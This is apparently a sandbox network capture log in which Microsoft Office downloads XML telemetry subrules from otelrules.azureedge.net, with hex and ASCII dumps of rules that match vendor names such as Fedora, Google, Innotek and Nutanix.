2024-11-27 03:07:49 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:49 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030749Z-174f7845968n2hr8hC1EWR9cag0000000w0g000000007zar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:50 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:49 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:50 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030750Z-174f7845968psccphC1EWRuz9s0000000wmg000000009456 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:50 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:49 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:50 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030750Z-174f7845968ljs8phC1EWRe6en0000000w6000000000amb1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:50 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:50 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:50 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030750Z-174f7845968ljs8phC1EWRe6en0000000w80000000004zcw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:50 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:51 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:52 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030752Z-174f7845968xr5c2hC1EWRd0hn0000000d5g00000000c00s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:52 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:51 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:52 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030752Z-174f7845968swgbqhC1EWRmnb40000000we000000000gsvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:52 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:51 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:52 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: c6f16635-c01e-0034-4354-402af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030752Z-174f78459685726chC1EWRsnbg0000000wag00000000gc8k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:52 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:52 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030752Z-174f7845968qj8jrhC1EWRh41s0000000w6g00000000mpzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:52 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:53 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030752Z-174f7845968ljs8phC1EWRe6en0000000w80000000004ze8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:53 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:54 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 09dbda49-a01e-003d-2d45-4098d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030754Z-174f78459685726chC1EWRsnbg0000000wcg00000000b53x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:54 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:54 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:54 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030754Z-174f784596886s2bhC1EWR743w0000000wcg00000000adnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:54 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:54 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030754Z-174f7845968zgtf6hC1EWRqd8s0000000p7g00000000h7f5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:54 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" 